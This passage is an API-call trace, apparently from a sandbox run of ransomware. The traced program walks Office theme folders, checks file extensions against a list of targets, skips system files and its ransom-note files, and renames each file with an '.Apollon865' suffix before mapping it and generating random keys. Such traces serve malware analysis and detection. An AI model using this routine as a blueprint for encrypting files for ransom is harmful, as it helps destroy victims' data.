	[0073.772] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.772] lstrlenW (lpString="rar") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.772] lstrlenW (lpString="zip") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.772] lstrlenW (lpString="tgz") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.772] lstrlenW (lpString="vbox") returned 4
	[0073.772] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.772] lstrlenW (lpString="vdi") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.772] lstrlenW (lpString="vhd") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.772] lstrlenW (lpString="vhdx") returned 4
	[0073.772] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.772] lstrlenW (lpString="avhd") returned 4
	[0073.772] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.772] lstrlenW (lpString="db") returned 2
	[0073.772] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.772] lstrlenW (lpString="db2") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.772] lstrlenW (lpString="db3") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.772] lstrlenW (lpString="dbf") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.772] lstrlenW (lpString="mdf") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.772] lstrlenW (lpString="mdb") returned 3
	[0073.773] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.773] lstrlenW (lpString="sql") returned 3
	[0073.773] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.773] lstrlenW (lpString="sqlite") returned 6
	[0073.773] lstrcmpiW (lpString1="ex.xml", lpString2="sqlite") returned -1
	[0073.773] lstrlenW (lpString="sqlite3") returned 7
	[0073.773] lstrcmpiW (lpString1="pex.xml", lpString2="sqlite3") returned -1
	[0073.773] lstrlenW (lpString="sqlitedb") returned 8
	[0073.773] lstrlenW (lpString="xml") returned 3
	[0073.773] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.773] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.Apollon865") returned 85
	[0073.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.775] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=959) returned 1
	[0073.775] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.776] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.776] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.776] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0073.777] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0073.778] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.778] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.779] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".") returned 1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="..") returned 1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="windows") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgr") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="temp") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="pagefile.sys") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="boot") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ids.txt") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.dat") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="perflogs") returned -1
	[0073.779] lstrcmpiW (lpString1="Apothecary.xml", lpString2="MSBuild") returned -1
	[0073.779] lstrlenW (lpString="Apothecary.xml") returned 14
	[0073.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml") returned 74
	[0073.779] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Apothecary.xml" | out: lpString1="Apothecary.xml") returned="Apothecary.xml"
	[0073.779] lstrlenW (lpString="Apothecary.xml") returned 14
	[0073.779] lstrlenW (lpString="Apollon865") returned 10
	[0073.779] lstrcmpiW (lpString1="hecary.xml", lpString2="Apollon865") returned 1
	[0073.780] lstrlenW (lpString=".dll") returned 4
	[0073.780] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".dll") returned 1
	[0073.780] lstrlenW (lpString=".lnk") returned 4
	[0073.780] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".lnk") returned 1
	[0073.780] lstrlenW (lpString=".ini") returned 4
	[0073.780] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".ini") returned 1
	[0073.780] lstrlenW (lpString=".sys") returned 4
	[0073.780] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".sys") returned 1
	[0073.780] lstrlenW (lpString="Apothecary.xml") returned 14
	[0073.780] lstrlenW (lpString="bak") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.780] lstrlenW (lpString="ba_") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.780] lstrlenW (lpString="dbb") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.780] lstrlenW (lpString="vmdk") returned 4
	[0073.780] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.780] lstrlenW (lpString="rar") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.780] lstrlenW (lpString="zip") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.780] lstrlenW (lpString="tgz") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.780] lstrlenW (lpString="vbox") returned 4
	[0073.780] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.780] lstrlenW (lpString="vdi") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.780] lstrlenW (lpString="vhd") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.780] lstrlenW (lpString="vhdx") returned 4
	[0073.780] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.780] lstrlenW (lpString="avhd") returned 4
	[0073.780] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.780] lstrlenW (lpString="db") returned 2
	[0073.780] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.780] lstrlenW (lpString="db2") returned 3
	[0073.780] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.780] lstrlenW (lpString="db3") returned 3
	[0073.781] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.781] lstrlenW (lpString="dbf") returned 3
	[0073.781] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.781] lstrlenW (lpString="mdf") returned 3
	[0073.781] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.781] lstrlenW (lpString="mdb") returned 3
	[0073.781] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.781] lstrlenW (lpString="sql") returned 3
	[0073.781] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.781] lstrlenW (lpString="sqlite") returned 6
	[0073.781] lstrcmpiW (lpString1="ry.xml", lpString2="sqlite") returned -1
	[0073.781] lstrlenW (lpString="sqlite3") returned 7
	[0073.781] lstrcmpiW (lpString1="ary.xml", lpString2="sqlite3") returned -1
	[0073.781] lstrlenW (lpString="sqlitedb") returned 8
	[0073.781] lstrcmpiW (lpString1="cary.xml", lpString2="sqlitedb") returned -1
	[0073.781] lstrlenW (lpString="xml") returned 3
	[0073.781] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.781] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.Apollon865") returned 91
	[0073.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.783] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=965) returned 1
	[0073.783] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.783] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.783] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.784] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.785] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.786] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.787] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.787] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2=".") returned 1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="..") returned 1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="windows") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgr") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="temp") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="pagefile.sys") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="boot") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="ids.txt") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.dat") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="perflogs") returned -1
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2="MSBuild") returned -1
	[0073.788] lstrlenW (lpString="Aspect.xml") returned 10
	[0073.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml") returned 80
	[0073.788] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Aspect.xml" | out: lpString1="Aspect.xml") returned="Aspect.xml"
	[0073.788] lstrlenW (lpString="Aspect.xml") returned 10
	[0073.788] lstrlenW (lpString="Apollon865") returned 10
	[0073.788] lstrlenW (lpString=".dll") returned 4
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2=".dll") returned 1
	[0073.788] lstrlenW (lpString=".lnk") returned 4
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2=".lnk") returned 1
	[0073.788] lstrlenW (lpString=".ini") returned 4
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2=".ini") returned 1
	[0073.788] lstrlenW (lpString=".sys") returned 4
	[0073.788] lstrcmpiW (lpString1="Aspect.xml", lpString2=".sys") returned 1
	[0073.788] lstrlenW (lpString="Aspect.xml") returned 10
	[0073.788] lstrlenW (lpString="bak") returned 3
	[0073.788] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.788] lstrlenW (lpString="ba_") returned 3
	[0073.788] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.788] lstrlenW (lpString="dbb") returned 3
	[0073.788] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.788] lstrlenW (lpString="vmdk") returned 4
	[0073.789] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.789] lstrlenW (lpString="rar") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.789] lstrlenW (lpString="zip") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.789] lstrlenW (lpString="tgz") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.789] lstrlenW (lpString="vbox") returned 4
	[0073.789] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.789] lstrlenW (lpString="vdi") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.789] lstrlenW (lpString="vhd") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.789] lstrlenW (lpString="vhdx") returned 4
	[0073.789] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.789] lstrlenW (lpString="avhd") returned 4
	[0073.789] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.789] lstrlenW (lpString="db") returned 2
	[0073.789] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.789] lstrlenW (lpString="db2") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.789] lstrlenW (lpString="db3") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.789] lstrlenW (lpString="dbf") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.789] lstrlenW (lpString="mdf") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.789] lstrlenW (lpString="mdb") returned 3
	[0073.789] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.789] lstrlenW (lpString="sql") returned 3
	[0073.790] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.790] lstrlenW (lpString="sqlite") returned 6
	[0073.790] lstrcmpiW (lpString1="ct.xml", lpString2="sqlite") returned -1
	[0073.790] lstrlenW (lpString="sqlite3") returned 7
	[0073.790] lstrcmpiW (lpString1="ect.xml", lpString2="sqlite3") returned -1
	[0073.790] lstrlenW (lpString="sqlitedb") returned 8
	[0073.790] lstrcmpiW (lpString1="pect.xml", lpString2="sqlitedb") returned -1
	[0073.790] lstrlenW (lpString="xml") returned 3
	[0073.790] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.790] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.Apollon865") returned 87
	[0073.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.791] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=961) returned 1
	[0073.791] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.792] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.792] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.792] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.793] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.794] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.795] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.795] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2=".") returned 1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="..") returned 1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="windows") returned -1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgr") returned -1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="temp") returned -1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="pagefile.sys") returned -1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="boot") returned -1
	[0073.795] lstrcmpiW (lpString1="Austin.xml", lpString2="ids.txt") returned -1
	[0073.796] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.dat") returned -1
	[0073.796] lstrcmpiW (lpString1="Austin.xml", lpString2="perflogs") returned -1
	[0073.796] lstrcmpiW (lpString1="Austin.xml", lpString2="MSBuild") returned -1
	[0073.796] lstrlenW (lpString="Austin.xml") returned 10
	[0073.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml") returned 76
	[0073.796] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Austin.xml" | out: lpString1="Austin.xml") returned="Austin.xml"
	[0073.796] lstrlenW (lpString="Austin.xml") returned 10
	[0073.796] lstrlenW (lpString="Apollon865") returned 10
	[0073.796] lstrlenW (lpString=".dll") returned 4
	[0073.796] lstrcmpiW (lpString1="Austin.xml", lpString2=".dll") returned 1
	[0073.796] lstrlenW (lpString=".lnk") returned 4
	[0073.796] lstrcmpiW (lpString1="Austin.xml", lpString2=".lnk") returned 1
	[0073.796] lstrlenW (lpString=".ini") returned 4
	[0073.796] lstrcmpiW (lpString1="Austin.xml", lpString2=".ini") returned 1
	[0073.796] lstrlenW (lpString=".sys") returned 4
	[0073.796] lstrcmpiW (lpString1="Austin.xml", lpString2=".sys") returned 1
	[0073.796] lstrlenW (lpString="Austin.xml") returned 10
	[0073.796] lstrlenW (lpString="bak") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.796] lstrlenW (lpString="ba_") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.796] lstrlenW (lpString="dbb") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.796] lstrlenW (lpString="vmdk") returned 4
	[0073.796] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.796] lstrlenW (lpString="rar") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.796] lstrlenW (lpString="zip") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.796] lstrlenW (lpString="tgz") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.796] lstrlenW (lpString="vbox") returned 4
	[0073.796] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.796] lstrlenW (lpString="vdi") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.796] lstrlenW (lpString="vhd") returned 3
	[0073.796] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.796] lstrlenW (lpString="vhdx") returned 4
	[0073.797] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.797] lstrlenW (lpString="avhd") returned 4
	[0073.797] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.797] lstrlenW (lpString="db") returned 2
	[0073.797] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.797] lstrlenW (lpString="db2") returned 3
	[0073.797] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.797] lstrlenW (lpString="db3") returned 3
	[0073.797] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.797] lstrlenW (lpString="dbf") returned 3
	[0073.797] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.797] lstrlenW (lpString="mdf") returned 3
	[0073.797] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.797] lstrlenW (lpString="mdb") returned 3
	[0073.797] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.797] lstrlenW (lpString="sql") returned 3
	[0073.797] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.797] lstrlenW (lpString="sqlite") returned 6
	[0073.797] lstrcmpiW (lpString1="in.xml", lpString2="sqlite") returned -1
	[0073.797] lstrlenW (lpString="sqlite3") returned 7
	[0073.797] lstrcmpiW (lpString1="tin.xml", lpString2="sqlite3") returned 1
	[0073.797] lstrlenW (lpString="sqlitedb") returned 8
	[0073.797] lstrcmpiW (lpString1="stin.xml", lpString2="sqlitedb") returned 1
	[0073.797] lstrlenW (lpString="xml") returned 3
	[0073.797] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.797] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.Apollon865") returned 87
	[0073.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.799] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=961) returned 1
	[0073.799] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.799] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.799] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.800] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.801] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.802] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.802] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.802] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".") returned 1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="..") returned 1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="windows") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgr") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="temp") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="pagefile.sys") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="boot") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ids.txt") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.dat") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="perflogs") returned -1
	[0073.803] lstrcmpiW (lpString1="Black Tie.xml", lpString2="MSBuild") returned -1
	[0073.803] lstrlenW (lpString="Black Tie.xml") returned 13
